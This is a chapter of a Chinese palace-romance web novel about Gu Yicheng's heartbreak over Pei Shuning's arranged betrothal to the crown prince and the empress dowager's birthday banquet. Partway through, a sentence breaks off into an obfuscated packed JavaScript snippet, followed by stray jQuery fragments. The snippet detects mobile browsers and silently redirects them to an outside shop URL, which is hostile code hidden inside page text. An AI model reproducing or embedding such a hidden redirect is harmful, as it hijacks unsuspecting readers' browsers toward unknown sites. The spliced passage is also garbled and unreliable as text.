把她忘了,谈何容易?
尽管所有人都告诉他,算了吧,不可能,他的理智告诉自己不要去打扰她,可总有一个声音告诉他,万一呢,万一事情另有隐情,仍有转圜的余地呢?这道声音霸道地占据他的内心。
他决意顺心而为!
站在裴府门外,瞧见熟悉的身影,心脏猛然收紧,她就站在门口,距离他不远的地方,眼下他却觉着这是最遥远不过的距离,她笑得那样明媚,那么温婉,却是对着另一个男人,落空的希冀,犹如一把尖刀在心上划了一道口子,尖锐的刺痛感,让他溃不成军。
他知道该结束的,或许回京后这段日子里自始至终她都从未喜欢过自己,她的靠近无非是出于礼仪,又或者是回馈,只有他,将此误认为是喜欢,自作多情,活在自己编织的幻梦中,如今梦醒,他也该放下,不去打扰,便是为她好。
顾翊承平静着转身,头也不回地离开。
裴府门口。
“多谢太子出手相助。”裴舒宁屈下身子行礼。
太子嗓音淡淡:“本就是你让我寻母后说上那样一番话,又让我暗地里帮了端王一把,既然你我如今是一根绳上的蚂蚱,我帮你理所应当,更何况对于女子而言,你总是比男子更吃亏些,这些算不得什么。”
这回他出手帮了端王,日后端王只会将这份恩情记在他头上,分明是他捡了功劳,怎么说自己利益都比她大,该道谢的该是他才对。
话虽如此,裴舒宁却未曾让太子说上那样一番话来劝慰皇后娘娘。
见她表情淡然,眉眼间却夹杂着一丝忧愁,太子笑道:“放心,不会让你等太久。”
裴舒宁牵强着笑了下。
太子侧目,目光掠过那抹熟悉的身影,问道:“裴姑娘应下这桩事不怕顾世子误会?”
裴舒宁不知顾翊承就在自己身后不远处,反问道:“太子就不怕自己心仪的姑娘伤心?”
太子闻言失笑:“她朝我走了很久,我希望往后能够理清所有障碍,剩下的路让我来走。”
裴舒宁敛下眼睑,心道要是顾翊承能够这样满心满眼地对待自己该有多好,可能是她贪心,又或许是她身处迷雾中,那种抓不住的感觉令人心惊。
只是起初回京本就是奔着他而来,她不相信自己就这般不堪,只要自己用真心定会让他爱上自己,她与太子不过是交易一场,私下只要注意些,还是能与他往来,表明自己的心意。
两人就这么对立站在裴府门口,幻想着自己与心仪的另一半日后美满团圆的日子。
顾翊承却不知裴舒宁心中所想,他一个人躺在床榻上,把二人重逢后的往来不断在脑海中流淌,她的笑,她的话,让他愈发羞耻,如今每一个回忆都像个巴掌,狠狠扇在脸上,以往他的所作所为,在现下反倒全成了自作多情的罪证。
他躺了几天就回忆了几天,不吃不喝,端王妃前来探望都未得入内,以至于裴舒宁的信送来端王府中时,流风静候许久,才传来里头顾翊承闷闷的声音:“将信退回,日后裴府的往来信件直接退回,不必上呈。”
裴舒宁瞧着桌案上那封原封不动退回的信,一时头疼起来,她竟不知,男人这般难哄,属实有些棘手,正不知该如何下手,机遇就这般送于她手上。
母亲派人来告知三日后是太后寿辰,那日太后定会让她与太子上前共同奉礼,需得好好准备一番,莫失了礼数,裴舒宁点头应下,太后寿辰,顾翊承定会出席,她心里头暗暗盘算着,届时与他相见该如何说?
太后宴席皇上可是下了令按最高规格举办,天还蒙蒙亮,宫外命妇们早已按品级排起了长队,直至宫门大开,司礼太监唱名,众命妇依次而入,大殿凤座之上,端坐着一面色慈祥的老妇人,布满白丝的头上珠翠环绕。
凤座下由皇后带领众人高呼:“恭祝太后万寿无疆,万福金安!”
接着众人又一一献礼,太后问了话,一问一答间,日头逐渐黯淡,这一整日都在后宫之中,按礼制男子此刻皆在前头,裴舒宁还未曾见过顾翊承,她趁着四下无人,揉了揉僵硬的脖颈,心道何时才能去宴席,肚子都饿的不行了。
不远处太后招招手,一小太监奔上前,两人耳语一番,小太监直起身高唱:“有请诸位移步观戏台用膳!”
宴席上,男女同席众人按品阶入座,裴舒宁一眼便瞧见了对面左前方不远处的顾翊承,他低垂着头不知在想些什么,裴舒宁瞧了许久,他竟是一眼都未曾望过来。
上头太后瞧着下首乌泱泱的人,心头忍不住开心,太后举起象牙箸夹了块咸香荷叶饭,此物乃是糯米所制,太后甚是喜爱,素日里吃多了却总是气滞不畅,皇帝只好下令不让多食,太后此刻瞧着,自是忍不住了。
太后这一动箸,宴席算是正式开始了,戏台上戏子们鱼贯而上,一首《麻姑献寿》太后听的舒心,看的高兴,鼓起掌来:“好!”
众人皆放下手中筷子,立刻跟着鼓掌,裴舒宁正打算出去透口气,谁知这酒过三巡竟也让一些人壮起胆子来了。
国舅夫人看着好端端坐在眼前的顾翊承,心中愈发喷喷不平,同样是京城浪荡子,不过就是抢个女人,为何只有她儿子要受罚,打的是血肉模糊,他一点事没有?!
一杯酒入喉下肚,浓烈的酒味也激起了她心中的波涛,国舅夫人屏退下人,给自己又满上一杯,端起酒杯,笑容满面恭贺道:“恭贺太后万寿无疆,听闻早前已有旨意定下了太子妃,亲眼一见,二人甚是登对,这可谓是双喜临门,此乃太后福泽深厚!”
“哈哈,哀家瞧着也甚是登对,尧儿,舒宁你们上前来。”太后倚在凤座上,向前招招手。
裴舒宁这脚都跨出去了,听到自己名字,又将腿收回来,转身盈盈走上前去,她跟太子可是交易一场,眼下有多亮眼,日后可就有多落魄了,也不知这国舅夫人好端端说这些作何?
顾翊承来之前,打定主意不去看她,不去理会她的事,随着时间冲淡她在自己心中的重量,脑中所思或许能够控制,身体与心却不然,眼前二人走过,她的目光早已不受控的随之飘过去,落在那人身上,待他反应过来收回目光之际,方才那一幕早已犹如一根绣花针,刺痛了他的心。
“孙子见过祖母,恭祝祖母福如东海。”
“臣女见过太后,恭祝太后寿比南山。”
太后从手腕上褪下一只羊脂玉镯,那双朦胧的双眼盯着手镯,布满皱纹的手摩梭了几下,嘴里念叨着往事,仿佛当年情景仍历历在目:“这是哀家生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861208|212003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陛下时,先帝赏赐的手镯,跟了哀家几十年了,也望你们能尽快开枝散叶,莫辜负了先帝福泽。”
此话一出,席间几人变了脸色,心中各有成算,太后的赏赐,赏的可从来不是东西,而是面子,权势,赏赐者的每一句话都有她的用意,如同现在,太后言外之意是认下裴舒宁太子妃的身份,又定下了国之根本,太子之位不会动弹,更是许诺了将来东宫之子只能出自裴舒宁腹中。
这镯子犹如烫手山芋,裴舒宁惶恐,却拒绝不得,她如今身为既定太子妃,一言一行都要思量再三,若是拒绝,那便是她不想做这个太子妃,且当众下太子脸面了。
裴舒宁侧目向太子投去求救的眼神,众人不知,太子可是知道的啊。
这一眼在众人面前可就变了意味,这是太子妃害羞呢。
太子眨了眼点头,裴舒宁一咬牙,上前接过镯子,盘算着宴席散了后交给太子:“太后抬爱,臣女厚着脸接下,此物乃是太后心爱之物,臣女定好生保管。”
太后拉过裴舒宁的手,那镯子滑溜一下推入她手腕中,衬得她手白皙如雪,太后满意的拍了拍她的手道:“放着做什么,带着,你瞧多好看。”
裴舒宁笑着应下。
国舅夫人见事情如自己所料,裴舒宁她是动不了了,但能让顾翊承胸口这口气上不去下不来的她就欢喜,自己儿子得不到的,他也得不到,只是光是这点国舅夫人还不满意,她举着酒杯,状似不经意的关怀:“这顾世子亦到了年岁,如今太子定下来了,顾世子可不好再充耳不闻,整日浪荡,学着沉稳些,这姑娘们才能放心与你共度余生不是,我识得不少好姑娘,城西王员外家姑娘就很不错,整日里大门不出,二门不迈的,很是娴静,与你这性子倒是匹配。”
旁的人可能不知,端王妃却是知道内情的,王员外家的姑娘整日里大门不出二门不迈哪里是娴静,分明是外出与人有染,且不知孩生父,这落了一个又一个,王员外将人看押在家中不给出门呢!
国舅夫人这话纯属是恶心人,端王妃也不给好脸色,当即怼了回去:“那都是小时候皮实,如今性子沉稳的很,不过我瞧林枫前段时日还被打了板子,想来定是要给他娶个媳妇管着,这王员外家的姑娘就很不错。”
“端王妃这话......”国舅夫人仍想说些什么,国舅却是个识大体的,一把拉着国舅夫人,将人拽坐了下来,一个眼刀过去,国舅夫人只好悻悻的闭了嘴。
端王妃回头瞧着自己那不争气闷头喝酒的儿子,低声与端王说道:“不就是暗讽咱儿子没人要吗?!回去我就寻几个媒人,替你儿子说上一番!我倒要看看是谁没人要!”
端王夹了块鸡肉放在端王妃盘中,睨了自个儿子一眼,只要顾翊承不点头,怕是谁都没法子,道:“只怕是难。”
端王妃拧了他胳膊一下,气道:“他可是你亲儿子,你倒好,不闻不问的!”
“好好好,回去我与你一道看看。”端王赶忙抓住作乱的手,呲牙咧嘴的哄道。
好一会,宴席上总算安静下来,戏台上正唱的精彩,裴舒宁见没人会在留意自己,她借口出恭,溜了出去,入宫前,她已收买好一下人,以自己离席为号,他就会将顾翊承替自己引来御花园中,见上一面。